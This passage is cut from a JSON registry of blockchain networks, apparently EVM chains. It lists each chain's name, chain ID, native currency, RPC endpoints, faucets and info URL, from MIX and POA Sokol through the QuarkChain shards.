Ether","symbol":"MIX","decimals":18},"rpc":["https://rpc2.mix-blockchain.org:8647"],"faucets":[],"infoURL":"https://mix-blockchain.org"},{"name":"POA Network Sokol","chainId":77,"shortName":"poa","networkId":77,"nativeCurrency":{"name":"POA Sokol Ether","symbol":"POA","decimals":18},"rpc":["https://sokol.poa.network","wss://sokol.poa.network/wss","ws://sokol.poa.network:8546"],"faucets":["https://faucet-sokol.herokuapp.com"],"infoURL":"https://poa.network"},{"name":"PrimusChain mainnet","chainId":78,"shortName":"primuschain","networkId":78,"nativeCurrency":{"name":"Primus Ether","symbol":"PETH","decimals":18},"rpc":["https://ethnode.primusmoney.com/mainnet"],"faucets":[],"infoURL":"https://primusmoney.com"},{"name":"GeneChain","chainId":80,"shortName":"GeneChain","networkId":80,"nativeCurrency":{"name":"RNA","symbol":"RNA","decimals":18},"rpc":["https://rpc.genechain.io"],"faucets":[],"infoURL":"https://scan.genechain.io/"},{"name":"Meter Mainnet","chainId":82,"shortName":"Meter","networkId":82,"nativeCurrency":{"name":"Meter","symbol":"MTR","decimals":18},"rpc":["https://rpc.meter.io"],"faucets":[],"infoURL":"https://www.meter.io"},{"name":"GateChain Testnet","chainId":85,"shortName":"gttest","networkId":85,"nativeCurrency":{"name":"GateToken","symbol":"GT","decimals":18},"rpc":["https://testnet.gatenode.cc"],"faucets":["https://www.gatescan.org/testnet/faucet"],"infoURL":"https://www.gatechain.io"},{"name":"GateChain Mainnet","chainId":86,"shortName":"gt","networkId":86,"nativeCurrency":{"name":"GateToken","symbol":"GT","decimals":18},"rpc":["https://evm.gatenode.cc"],"faucets":["https://www.gatescan.org/faucet"],"infoURL":"https://www.gatechain.io"},{"name":"TomoChain","chainId":88,"shortName":"tomo","networkId":88,"nativeCurrency":{"name":"TomoChain Ether","symbol":"TOMO","decimals":18},"rpc":["https://rpc.tomochain.com"],"faucets":[],"infoURL":"https://tomocoin.io"},{"name":"CryptoKylin Testnet","chainId":95,"shortName":"Kylin Testnet","networkId":95,"nativeCurrency":{"name":"EOS","symbol":"EOS","decimals":18},"rpc":["https://kylin.eosargentina.io"],"faucets":[],"infoURL":"https://www.cryptokylin.io/"},{"name":"Binance Smart Chain Testnet","chainId":97,"shortName":"bnbt","networkId":97,"nativeCurrency":{"name":"Binance Chain Native Token","symbol":"tBNB","decimals":18},"rpc":["https://data-seed-prebsc-1-s1.binance.org:8545","https://data-seed-prebsc-2-s1.binance.org:8545","https://data-seed-prebsc-1-s2.binance.org:8545","https://data-seed-prebsc-2-s2.binance.org:8545","https://data-seed-prebsc-1-s3.binance.org:8545","https://data-seed-prebsc-2-s3.binance.org:8545"],"faucets":["https://testnet.binance.org/faucet-smart"],"infoURL":"https://testnet.binance.org/"},{"name":"POA Network Core","chainId":99,"shortName":"skl","networkId":99,"nativeCurrency":{"name":"POA Network Core Ether","symbol":"SKL","decimals":18},"rpc":["https://core.poanetwork.dev","http://core.poanetwork.dev:8545","https://core.poa.network","ws://core.poanetwork.dev:8546"],"faucets":[],"infoURL":"https://poa.network"},{"name":"xDAI Chain","chainId":100,"shortName":"xdai","networkId":100,"nativeCurrency":{"name":"xDAI","symbol":"xDAI","decimals":18},"rpc":["https://rpc.xdaichain.com","https://xdai.poanetwork.dev","wss://rpc.xdaichain.com/wss","wss://xdai.poanetwork.dev/wss","http://xdai.poanetwork.dev","https://dai.poa.network","ws://xdai.poanetwork.dev:8546"],"faucets":[],"infoURL":"https://forum.poa.network/c/xdai-chain"},{"name":"EtherInc","chainId":101,"shortName":"eti","networkId":1,"nativeCurrency":{"name":"EtherInc Ether","symbol":"ETI","decimals":18},"rpc":["https://api.einc.io/jsonrpc/mainnet"],"faucets":[],"infoURL":"https://einc.io"},{"name":"Web3Games Testnet","chainId":102,"shortName":"w3g","networkId":102,"nativeCurrency":{"name":"Web3Games","symbol":"W3G","decimals":18},"rpc":["https://substrate.org.cn"],"faucets":[],"infoURL":"https://web3games.org/"},{"name":"ThunderCore Mainnet","chainId":108,"shortName":"TT","networkId":108,"nativeCurrency":{"name":"ThunderCore Mainnet Ether","symbol":"TT","decimals":18},"rpc":["https://mainnet-rpc.thundercore.com"],"faucets":["https://faucet.thundercore.com"],"infoURL":"https://thundercore.com"},{"name":"Proton Testnet","chainId":110,"shortName":"xpr","networkId":110,"nativeCurrency":{"name":"Proton","symbol":"XPR","decimals":4},"rpc":["https://protontestnet.greymass.com/"],"faucets":[],"infoURL":"https://protonchain.com"},{"name":"EtherLite Chain","chainId":111,"shortName":"ETL","networkId":111,"nativeCurrency":{"name":"EtherLite","symbol":"ETL","decimals":18},"rpc":["https://rpc.etherlite.org"],"faucets":["https://etherlite.org/faucets"],"infoURL":"https://etherlite.org"},{"name":"Fuse Mainnet","chainId":122,"shortName":"fuse","networkId":122,"nativeCurrency":{"name":"Fuse","symbol":"FUSE","decimals":18},"rpc":["https://rpc.fuse.io"],"faucets":[],"infoURL":"https://fuse.io/"},{"name":"Decentralized Web Mainnet","chainId":124,"shortName":"dwu","networkId":124,"nativeCurrency":{"name":"Decentralized Web Utility","symbol":"DWU","decimals":18},"rpc":["https://decentralized-web.tech/dw_rpc.php"],"faucets":[],"infoURL":"https://decentralized-web.tech/dw_chain.php"},{"name":"Factory 127 Mainnet","chainId":127,"shortName":"feth","networkId":127,"nativeCurrency":{"name":"Factory 127 Token","symbol":"FETH","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://www.factory127.com"},{"name":"Huobi ECO Chain Mainnet","chainId":128,"shortName":"heco","networkId":128,"nativeCurrency":{"name":"Huobi ECO Chain Native Token","symbol":"HT","decimals":18},"rpc":["https://http-mainnet.hecochain.com","wss://ws-mainnet.hecochain.com"],"faucets":[],"infoURL":"https://www.hecochain.com"},{"name":"Matic(Polygon) Mainnet","chainId":137,"shortName":"matic","networkId":137,"nativeCurrency":{"name":"Matic","symbol":"MATIC","decimals":18},"rpc":["https://rpc-mainnet.matic.network","wss://ws-mainnet.matic.network","https://rpc-mainnet.matic.quiknode.pro","https://matic-mainnet.chainstacklabs.com"],"faucets":[],"infoURL":"https://matic.network/"},{"name":"DAX CHAIN","chainId":142,"shortName":"dax","networkId":142,"nativeCurrency":{"name":"Prodax","symbol":"DAX","decimals":18},"rpc":["https://rpc.prodax.io"],"faucets":[],"infoURL":"https://prodax.io/"},{"name":"Lightstreams Testnet","chainId":162,"shortName":"tpht","networkId":162,"nativeCurrency":{"name":"Lightstreams PHT","symbol":"PHT","decimals":18},"rpc":["https://node.sirius.lightstreams.io"],"faucets":["https://discuss.lightstreams.network/t/request-test-tokens"],"infoURL":"https://explorer.sirius.lightstreams.io"},{"name":"Lightstreams Mainnet","chainId":163,"shortName":"pht","networkId":163,"nativeCurrency":{"name":"Lightstreams PHT","symbol":"PHT","decimals":18},"rpc":["https://node.mainnet.lightstreams.io"],"faucets":[],"infoURL":"https://explorer.lightstreams.io"},{"name":"HOO Smart Chain Testnet","chainId":170,"shortName":"hoosmartchain","networkId":170,"nativeCurrency":{"name":"HOO","symbol":"HOO","decimals":18},"rpc":["https://http-testnet.hoosmartchain.com"],"faucets":["https://faucet-testnet.hscscan.com/"],"infoURL":"https://www.hoosmartchain.com"},{"name":"Latam-Blockchain Resil Testnet","chainId":172,"shortName":"resil","networkId":172,"nativeCurrency":{"name":"Latam-Blockchain Resil Test Native Token","symbol":"usd","decimals":18},"rpc":["https://rpc.latam-blockchain.com","wss://ws.latam-blockchain.com"],"faucets":["https://faucet.latam-blockchain.com"],"infoURL":"https://latam-blockchain.com"},{"name":"Freight Trust Network","chainId":211,"shortName":"EDI","networkId":0,"nativeCurrency":{"name":"Freight Trust Native","symbol":"0xF","decimals":18},"rpc":["http://13.57.207.168:3435","https://app.freighttrust.net/ftn/${API_KEY}"],"faucets":["http://faucet.freight.sh"],"infoURL":"https://freighttrust.com"},{"name":"Energy Web Chain","chainId":246,"shortName":"ewt","networkId":246,"nativeCurrency":{"name":"Energy Web Token","symbol":"EWT","decimals":18},"rpc":["https://rpc.energyweb.org","wss://rpc.energyweb.org/ws"],"faucets":["https://faucet.carbonswap.exchange"],"infoURL":"https://energyweb.org"},{"name":"Fantom Opera","chainId":250,"shortName":"ftm","networkId":250,"nativeCurrency":{"name":"Fantom","symbol":"FTM","decimals":18},"rpc":["https://rpcapi.fantom.network"],"faucets":[],"infoURL":"https://fantom.foundation"},{"name":"Huobi ECO Chain Testnet","chainId":256,"shortName":"hecot","networkId":256,"nativeCurrency":{"name":"Huobi ECO Chain Test Native Token","symbol":"htt","decimals":18},"rpc":["https://http-testnet.hecochain.com","wss://ws-testnet.hecochain.com"],"faucets":["https://scan-testnet.hecochain.com/faucet"],"infoURL":"https://testnet.hecoinfo.com"},{"name":"High Performance Blockchain","chainId":269,"shortName":"hpb","networkId":100,"nativeCurrency":{"name":"High Performance Blockchain Ether","symbol":"HPB","decimals":18},"rpc":["https://hpb.app"],"faucets":[],"infoURL":"https://hpbscan.org/"},{"name":"KuCoin Community Chain Mainnet","chainId":321,"shortName":"kcs","networkId":321,"nativeCurrency":{"name":"KuCoin Token","symbol":"KCS","decimals":18},"rpc":["https://rpc-mainnet.kcc.network","wss://rpc-ws-mainnet.kcc.network"],"faucets":[],"infoURL":"https://kcc.io"},{"name":"KuCoin Community Chain Testnet","chainId":322,"shortName":"kcst","networkId":322,"nativeCurrency":{"name":"KuCoin Testnet Token","symbol":"tKCS","decimals":18},"rpc":["https://rpc-testnet.kcc.network"],"faucets":["https://faucet-testnet.kcc.network"],"infoURL":"https://scan-testnet.kcc.network"},{"name":"Theta Mainnet","chainId":361,"shortName":"theta-mainnet","networkId":361,"nativeCurrency":{"name":"Theta Fuel","symbol":"TFUEL","decimals":18},"rpc":["https://eth-rpc-api.thetatoken.org/rpc"],"faucets":[],"infoURL":"https://www.thetatoken.org/"},{"name":"Theta Sapphire Testnet","chainId":363,"shortName":"theta-sapphire","networkId":363,"nativeCurrency":{"name":"Theta Fuel","symbol":"TFUEL","decimals":18},"rpc":["https://eth-rpc-api-sapphire.thetatoken.org/rpc"],"faucets":[],"infoURL":"https://www.thetatoken.org/"},{"name":"Theta Amber Testnet","chainId":364,"shortName":"theta-amber","networkId":364,"nativeCurrency":{"name":"Theta Fuel","symbol":"TFUEL","decimals":18},"rpc":["https://eth-rpc-api-amber.thetatoken.org/rpc"],"faucets":[],"infoURL":"https://www.thetatoken.org/"},{"name":"Theta Testnet","chainId":365,"shortName":"theta-testnet","networkId":365,"nativeCurrency":{"name":"Theta Fuel","symbol":"TFUEL","decimals":18},"rpc":["https://eth-rpc-api-testnet.thetatoken.org/rpc"],"faucets":[],"infoURL":"https://www.thetatoken.org/"},{"name":"Lisinski","chainId":385,"shortName":"lisinski","networkId":385,"nativeCurrency":{"name":"Lisinski Ether","symbol":"LISINSKI","decimals":18},"rpc":["https://rpc-bitfalls1.lisinski.online"],"faucets":["https://pipa.lisinski.online"],"infoURL":"https://lisinski.online"},{"name":"Optimistic Ethereum Testnet Goerli","chainId":420,"shortName":"ogor","networkId":420,"nativeCurrency":{"name":"Görli Ether","symbol":"GOR","decimals":18},"rpc":["https://goerli.optimism.io/"],"faucets":[],"infoURL":"https://optimism.io"},{"name":"Rupaya","chainId":499,"shortName":"rupx","networkId":499,"nativeCurrency":{"name":"Rupaya","symbol":"RUPX","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://www.rupx.io"},{"name":"Tao Network","chainId":558,"shortName":"tao","networkId":558,"nativeCurrency":{"name":"Tao","symbol":"TAO","decimals":18},"rpc":["https://rpc.testnet.tao.network","http://rpc.testnet.tao.network:8545","https://rpc.tao.network","wss://rpc.tao.network"],"faucets":[],"infoURL":"https://tao.network"},{"name":"Acala Mandala Testnet","chainId":595,"shortName":"maca","networkId":595,"nativeCurrency":{"name":"Acala Mandala Token","symbol":"mACA","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://acala.network"},{"name":"Karura Network","chainId":686,"shortName":"kar","networkId":686,"nativeCurrency":{"name":"Karura Token","symbol":"KAR","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://karura.network"},{"name":"Factory 127 Testnet","chainId":721,"shortName":"tfeth","networkId":721,"nativeCurrency":{"name":"Factory 127 Token","symbol":"FETH","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://www.factory127.com"},{"name":"cheapETH","chainId":777,"shortName":"cth","networkId":777,"nativeCurrency":{"name":"cTH","symbol":"cTH","decimals":18},"rpc":["https://node.cheapeth.org/rpc"],"faucets":[],"infoURL":"https://cheapeth.org/"},{"name":"Acala Network","chainId":787,"shortName":"aca","networkId":787,"nativeCurrency":{"name":"Acala Token","symbol":"ACA","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://acala.network"},{"name":"Haic","chainId":803,"shortName":"haic","networkId":803,"nativeCurrency":{"name":"Haicoin","symbol":"HAIC","decimals":18},"rpc":["https://orig.haichain.io/"],"faucets":[],"infoURL":"https://www.haichain.io/"},{"name":"Callisto Mainnet","chainId":820,"shortName":"clo","networkId":1,"nativeCurrency":{"name":"Callisto Mainnet Ether","symbol":"CLO","decimals":18},"rpc":["https://clo-geth.0xinfra.com"],"faucets":[],"infoURL":"https://callisto.network"},{"name":"Callisto Testnet","chainId":821,"shortName":"tclo","networkId":2,"nativeCurrency":{"name":"Callisto Testnet Ether","symbol":"TCLO","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://callisto.network"},{"name":"Wanchain","chainId":888,"shortName":"wan","networkId":888,"nativeCurrency":{"name":"Wancoin","symbol":"WAN","decimals":18},"rpc":["https://gwan-ssl.wandevs.org:56891/"],"faucets":[],"infoURL":"https://www.wanscan.org"},{"name":"Nepal Blockchain Network","chainId":977,"shortName":"yeti","networkId":977,"nativeCurrency":{"name":"Nepal Blockchain Network Ether","symbol":"YETI","decimals":18},"rpc":["https://api.nepalblockchain.dev","https://api.nepalblockchain.network"],"faucets":["https://faucet.nepalblockchain.network"],"infoURL":"https://nepalblockchain.network"},{"name":"Wanchain Testnet","chainId":999,"shortName":"twan","networkId":999,"nativeCurrency":{"name":"Wancoin","symbol":"WAN","decimals":18},"rpc":["https://gwan-ssl.wandevs.org:46891/"],"faucets":[],"infoURL":"https://testnet.wanscan.org"},{"name":"Klaytn Testnet Baobab","chainId":1001,"shortName":"Baobab","networkId":1001,"nativeCurrency":{"name":"KLAY","symbol":"KLAY","decimals":18},"rpc":["https://node-api.klaytnapi.com/v1/klaytn"],"faucets":["https://baobab.wallet.klaytn.com/access?next=faucet"],"infoURL":"https://www.klaytn.com/"},{"name":"Newton Testnet","chainId":1007,"shortName":"tnew","networkId":1007,"nativeCurrency":{"name":"Newton","symbol":"NEW","decimals":18},"rpc":["https://rpc1.newchain.newtonproject.org"],"faucets":[],"infoURL":"https://www.newtonproject.org/"},{"name":"Evrice Network","chainId":1010,"shortName":"EVC","networkId":1010,"nativeCurrency":{"name":"Evrice","symbol":"EVC","decimals":18},"rpc":["https://meta.evrice.com"],"faucets":[],"infoURL":"https://evrice.com"},{"name":"Newton","chainId":1012,"shortName":"new","networkId":1012,"nativeCurrency":{"name":"Newton","symbol":"NEW","decimals":18},"rpc":["https://global.rpc.mainnet.newtonproject.org"],"faucets":[],"infoURL":"https://www.newtonproject.org/"},{"name":"Sakura","chainId":1022,"shortName":"sku","networkId":1022,"nativeCurrency":{"name":"Sakura","symbol":"SKU","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://clover.finance/sakura"},{"name":"Clover Testnet","chainId":1023,"shortName":"tclv","networkId":1023,"nativeCurrency":{"name":"Clover","symbol":"CLV","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://clover.finance"},{"name":"Clover Mainnet","chainId":1024,"shortName":"clv","networkId":1024,"nativeCurrency":{"name":"Clover","symbol":"CLV","decimals":18},"rpc":["https://rpc-ivy.clover.finance","https://rpc-ivy-2.clover.finance","https://rpc-ivy-3.clover.finance"],"faucets":[],"infoURL":"https://clover.finance"},{"name":"MathChain","chainId":1139,"shortName":"MATH","networkId":1139,"nativeCurrency":{"name":"MathChain","symbol":"MATH","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://mathchain.org"},{"name":"MathChain Testnet","chainId":1140,"shortName":"tMATH","networkId":1140,"nativeCurrency":{"name":"MathChain","symbol":"MATH","decimals":18},"rpc":["https://galois-hk.maiziqianbao.net/rpc"],"faucets":["https://scan.boka.network/#/Galois/faucet"],"infoURL":"https://mathchain.org"},{"name":"Moonbeam Polkadot","chainId":1284,"shortName":"mbeam","networkId":1284,"nativeCurrency":{"name":"Glimmer","symbol":"GLMR","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://moonbeam.network/networks/moonbeam/"},{"name":"Moonriver Kusama","chainId":1285,"shortName":"mriver","networkId":1285,"nativeCurrency":{"name":"Moonriver","symbol":"MOVR","decimals":18},"rpc":["https://rpc.moonriver.moonbeam.network","wss://wss.moonriver.moonbeam.network"],"faucets":[],"infoURL":"https://moonbeam.network/networks/moonriver/"},{"name":"Moonrock Rococo","chainId":1286,"shortName":"mrock","networkId":1286,"nativeCurrency":{"name":"Rocs","symbol":"ROC","decimals":18},"rpc":[],"faucets":[],"infoURL":""},{"name":"Moonbeam Testnet Moonbase Alpha","chainId":1287,"shortName":"mbase","networkId":1287,"nativeCurrency":{"name":"Dev","symbol":"DEV","decimals":18},"rpc":["https://rpc.testnet.moonbeam.network","wss://wss.testnet.moonbeam.network"],"faucets":[],"infoURL":"https://docs.moonbeam.network/networks/testnet/"},{"name":"Moonshadow Westend","chainId":1288,"shortName":"mshadow","networkId":1288,"nativeCurrency":{"name":"Moonshadow","symbol":"MSHD","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://docs.moonbeam.network/networks/overview/"},{"name":"Catecoin Chain Mainnet","chainId":1618,"shortName":"cate","networkId":1618,"nativeCurrency":{"name":"Catecoin","symbol":"CATE","decimals":18},"rpc":["https://send.catechain.com"],"faucets":[],"infoURL":"https://catechain.com"},{"name":"Atheios","chainId":1620,"shortName":"ath","networkId":11235813,"nativeCurrency":{"name":"Atheios Ether","symbol":"ATH","decimals":18},"rpc":["https://wallet.atheios.com:8797"],"faucets":[],"infoURL":"https://atheios.com"},{"name":"Teslafunds","chainId":1856,"shortName":"tsf","networkId":1,"nativeCurrency":{"name":"Teslafunds Ether","symbol":"TSF","decimals":18},"rpc":["https://tsfapi.europool.me"],"faucets":[],"infoURL":"https://teslafunds.io"},{"name":"EtherGem","chainId":1987,"shortName":"egem","networkId":1987,"nativeCurrency":{"name":"EtherGem Ether","symbol":"EGEM","decimals":18},"rpc":["https://jsonrpc.egem.io/custom"],"faucets":[],"infoURL":"https://egem.io"},{"name":"420coin","chainId":2020,"shortName":"420","networkId":2020,"nativeCurrency":{"name":"Fourtwenty","symbol":"420","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://420integrated.com"},{"name":"Edgeware Mainnet","chainId":2021,"shortName":"edg","networkId":2021,"nativeCurrency":{"name":"Edge","symbol":"EDG","decimals":18},"rpc":["https://mainnet1.edgewa.re"],"faucets":[],"infoURL":"http://edgewa.re"},{"name":"Beresheet Testnet","chainId":2022,"shortName":"edgt","networkId":2022,"nativeCurrency":{"name":"Testnet Edge","symbol":"tEDG","decimals":18},"rpc":["https://beresheet1.edgewa.re"],"faucets":[],"infoURL":"http://edgewa.re"},{"name":"Kortho Mainnet","chainId":2559,"shortName":"ktoc","networkId":2559,"nativeCurrency":{"name":"KorthoChain","symbol":"KTO","decimals":11},"rpc":["https://www.kortho-chain.com"],"faucets":[],"infoURL":"https://www.kortho.io/"},{"name":"IoTeX Network Mainnet","chainId":4689,"shortName":"iotex-mainnet","networkId":4689,"nativeCurrency":{"name":"IoTeX","symbol":"IOTX","decimals":18},"rpc":["https://babel-api.mainnet.iotex.io"],"faucets":[],"infoURL":"https://iotex.io"},{"name":"IoTeX Network Testnet","chainId":4690,"shortName":"iotex-testnet","networkId":4690,"nativeCurrency":{"name":"IoTeX","symbol":"IOTX","decimals":18},"rpc":["https://babel-api.testnet.iotex.io"],"faucets":["https://faucet.iotex.io/"],"infoURL":"https://iotex.io"},{"name":"EraSwap Mainnet","chainId":5197,"shortName":"es","networkId":5197,"nativeCurrency":{"name":"EraSwap","symbol":"ES","decimals":18},"rpc":["https://mainnet.eraswap.network","https://rpc-mumbai.mainnet.eraswap.network"],"faucets":[],"infoURL":"https://eraswap.info/"},{"name":"Ontology Testnet","chainId":5851,"shortName":"Ontology Testnet","networkId":5851,"nativeCurrency":{"name":"ONG","symbol":"ONG","decimals":9},"rpc":["https://polaris1.ont.io:20339","https://polaris2.ont.io:20339","https://polaris3.ont.io:20339","https://polaris4.ont.io:20339"],"faucets":["https://developer.ont.io/"],"infoURL":"https://ont.io/"},{"name":"Wegochain Rubidium Mainnet","chainId":5869,"shortName":"rbd","networkId":5869,"nativeCurrency":{"name":"Rubid","symbol":"RBD","decimals":18},"rpc":["https://proxy.wegochain.io","http://wallet.wegochain.io:7764"],"faucets":[],"infoURL":"http://wegochain.io"},{"name":"MDGL Testnet","chainId":8029,"shortName":"mdgl","networkId":8029,"nativeCurrency":{"name":"MDGL Token","symbol":"MDGLT","decimals":18},"rpc":["https://testnet.mdgl.io"],"faucets":[],"infoURL":"https://mdgl.io"},{"name":"GeneChain Adenine Testnet","chainId":8080,"shortName":"GeneChainAdn","networkId":8080,"nativeCurrency":{"name":"Testnet RNA","symbol":"tRNA","decimals":18},"rpc":["https://rpc-testnet.genechain.io"],"faucets":["https://faucet.genechain.io"],"infoURL":"https://scan-testnet.genechain.io/"},{"name":"Klaytn Mainnet Cypress","chainId":8217,"shortName":"Cypress","networkId":8217,"nativeCurrency":{"name":"KLAY","symbol":"KLAY","decimals":18},"rpc":["https://node-api.klaytnapi.com/v1/klaytn"],"faucets":[],"infoURL":"https://www.klaytn.com/"},{"name":"KorthoTest","chainId":8285,"shortName":"Kortho","networkId":8285,"nativeCurrency":{"name":"Kortho Test","symbol":"KTO","decimals":11},"rpc":["https://www.krotho-test.net"],"faucets":[],"infoURL":"https://www.kortho.io/"},{"name":"TOOL Global Testnet","chainId":8724,"shortName":"olo","networkId":8724,"nativeCurrency":{"name":"TOOL Global","symbol":"OLO","decimals":18},"rpc":["https://testnet-web3.wolot.io"],"faucets":["https://testnet-explorer.wolot.io"],"infoURL":"https://testnet-explorer.wolot.io"},{"name":"bloxberg","chainId":8995,"shortName":"berg","networkId":8995,"nativeCurrency":{"name":"BERG","symbol":"U+25B3","decimals":18},"rpc":["https://core.bloxberg.org"],"faucets":["https://faucet.bloxberg.org/"],"infoURL":"https://bloxberg.org"},{"name":"Smart Bitcoin Cash","chainId":10000,"shortName":"smartbch","networkId":10000,"nativeCurrency":{"name":"Bitcoin Cash","symbol":"BCH","decimals":18},"rpc":["https://smartbch.greyh.at","https://rpc-mainnet.smartbch.org","https://smartbch.fountainhead.cash/mainnet"],"faucets":[],"infoURL":"https://smartbch.org/"},{"name":"Smart Bitcoin Cash Testnet","chainId":10001,"shortName":"smartbchtest","networkId":10001,"nativeCurrency":{"name":"Bitcoin Cash Test Token","symbol":"BCHT","decimals":18},"rpc":["https://rpc-testnet.smartbch.org"],"faucets":[],"infoURL":"http://smartbch.org/"},{"name":"Blockchain Genesis Mainnet","chainId":10101,"shortName":"GEN","networkId":10101,"nativeCurrency":{"name":"GEN","symbol":"GEN","decimals":18},"rpc":["https://eu.mainnet.xixoio.com","https://us.mainnet.xixoio.com","https://asia.mainnet.xixoio.com"],"faucets":[],"infoURL":"https://www.xixoio.com/"},{"name":"Webchain","chainId":24484,"shortName":"web","networkId":37129,"nativeCurrency":{"name":"Webchain Ether","symbol":"WEB","decimals":18},"rpc":["https://node1.webchain.network"],"faucets":[],"infoURL":"https://webchain.network"},{"name":"MintMe.com Coin","chainId":24734,"shortName":"mintme","networkId":37480,"nativeCurrency":{"name":"MintMe.com Coin","symbol":"MINTME","decimals":18},"rpc":["https://node1.mintme.com"],"faucets":[],"infoURL":"https://www.mintme.com"},{"name":"Ethersocial Network","chainId":31102,"shortName":"esn","networkId":1,"nativeCurrency":{"name":"Ethersocial Network Ether","symbol":"ESN","decimals":18},"rpc":["https://api.esn.gonspool.com"],"faucets":[],"infoURL":"https://ethersocial.org"},{"name":"Fusion Mainnet","chainId":32659,"shortName":"fsn","networkId":32659,"nativeCurrency":{"name":"Fusion","symbol":"FSN","decimals":18},"rpc":["https://mainnet.anyswap.exchange","https://fsn.dev/api"],"faucets":[],"infoURL":"https://www.fusion.org/"},{"name":"Energi Mainnet","chainId":39797,"shortName":"nrg","networkId":39797,"nativeCurrency":{"name":"Energi","symbol":"NRG","decimals":18},"rpc":["https://nodeapi.gen3.energi.network"],"faucets":[],"infoURL":"https://www.energi.world/"},{"name":"pegglecoin","chainId":42069,"shortName":"PC","networkId":42069,"nativeCurrency":{"name":"pegglecoin","symbol":"peggle","decimals":18},"rpc":[],"faucets":[],"infoURL":"https://teampeggle.com"},{"name":"Celo Mainnet","chainId":42220,"shortName":"CELO","networkId":42220,"nativeCurrency":{"name":"CELO","symbol":"CELO","decimals":18},"rpc":["https://forno.celo.org","wss://forno.celo.org/ws"],"faucets":[],"infoURL":"https://docs.celo.org/"},{"name":"Athereum","chainId":43110,"shortName":"avaeth","networkId":43110,"nativeCurrency":{"name":"Athereum Ether","symbol":"ATH","decimals":18},"rpc":["https://ava.network:21015/ext/evm/rpc"],"faucets":["http://athfaucet.ava.network//?address=${ADDRESS}"],"infoURL":"https://athereum.ava.network"},{"name":"Avalanche Fuji Testnet","chainId":43113,"shortName":"Fuji","networkId":1,"nativeCurrency":{"name":"Avalanche","symbol":"AVAX","decimals":18},"rpc":["https://api.avax-test.network/ext/bc/C/rpc"],"faucets":["https://faucet.avax-test.network/"],"infoURL":"https://cchain.explorer.avax-test.network"},{"name":"Avalanche Mainnet","chainId":43114,"shortName":"Avalanche","networkId":1,"nativeCurrency":{"name":"Avalanche","symbol":"AVAX","decimals":18},"rpc":["https://api.avax.network/ext/bc/C/rpc"],"faucets":[],"infoURL":"https://cchain.explorer.avax.network/"},{"name":"Celo Alfajores Testnet","chainId":44787,"shortName":"ALFA","networkId":44787,"nativeCurrency":{"name":"CELO","symbol":"CELO","decimals":18},"rpc":["https://alfajores-forno.celo-testnet.org","wss://alfajores-forno.celo-testnet.org/ws"],"faucets":["https://celo.org/developers/faucet","https://cauldron.pretoriaresearchlab.io/alfajores-faucet"],"infoURL":"https://docs.celo.org/"},{"name":"Energi Testnet","chainId":49797,"shortName":"tnrg","networkId":49797,"nativeCurrency":{"name":"Energi","symbol":"tNRG","decimals":18},"rpc":["https://nodeapi.test3.energi.network"],"faucets":[],"infoURL":"https://www.energi.world/"},{"name":"Celo Baklava Testnet","chainId":62320,"shortName":"BKLV","networkId":62320,"nativeCurrency":{"name":"CELO","symbol":"CELO","decimals":18},"rpc":["https://baklava-forno.celo-testnet.org"],"faucets":["https://docs.google.com/forms/d/e/1FAIpQLSdfr1BwUTYepVmmvfVUDRCwALejZ-TUva2YujNpvrEmPAX2pg/viewform","https://cauldron.pretoriaresearchlab.io/baklava-faucet"],"infoURL":"https://docs.celo.org/"},{"name":"Energy Web Volta Testnet","chainId":73799,"shortName":"vt","networkId":73799,"nativeCurrency":{"name":"Volta Token","symbol":"VT","decimals":18},"rpc":["https://volta-rpc.energyweb.org","wss://volta-rpc.energyweb.org/ws"],"faucets":["https://voltafaucet.energyweb.org"],"infoURL":"https://energyweb.org"},{"name":"Firenze test network","chainId":78110,"shortName":"firenze","networkId":78110,"nativeCurrency":{"name":"Firenze Ether","symbol":"FIN","decimals":18},"rpc":["https://ethnode.primusmoney.com/firenze"],"faucets":[],"infoURL":"https://primusmoney.com"},{"name":"Matic Testnet Mumbai","chainId":80001,"shortName":"maticmum","networkId":80001,"nativeCurrency":{"name":"Matic","symbol":"tMATIC","decimals":18},"rpc":["https://rpc-mumbai.matic.today","wss://ws-mumbai.matic.today"],"faucets":["https://faucet.matic.network/"],"infoURL":"https://matic.network/"},{"name":"QuarkChain Mainnet Root","chainId":100000,"shortName":"qkc-r","networkId":100000,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:38391/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Mainnet Shard 0","chainId":100001,"shortName":"qkc-s0","networkId":100001,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:39000/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Mainnet Shard 1","chainId":100002,"shortName":"qkc-s1","networkId":100002,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:39001/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Mainnet Shard 2","chainId":100003,"shortName":"qkc-s2","networkId":100003,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:39002/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Mainnet Shard 3","chainId":100004,"shortName":"qkc-s3","networkId":100004,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:39003/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Mainnet Shard 4","chainId":100005,"shortName":"qkc-s4","networkId":100005,"nativeCurrency":{"name":"QKC","symbol":"QKC","decimals":18},"rpc":["http://jrpc.mainnet.quarkchain.io:39004/"],"faucets":[],"infoURL":"https://www.quarkchain.io/"},{"name":"QuarkChain Mainnet Shard 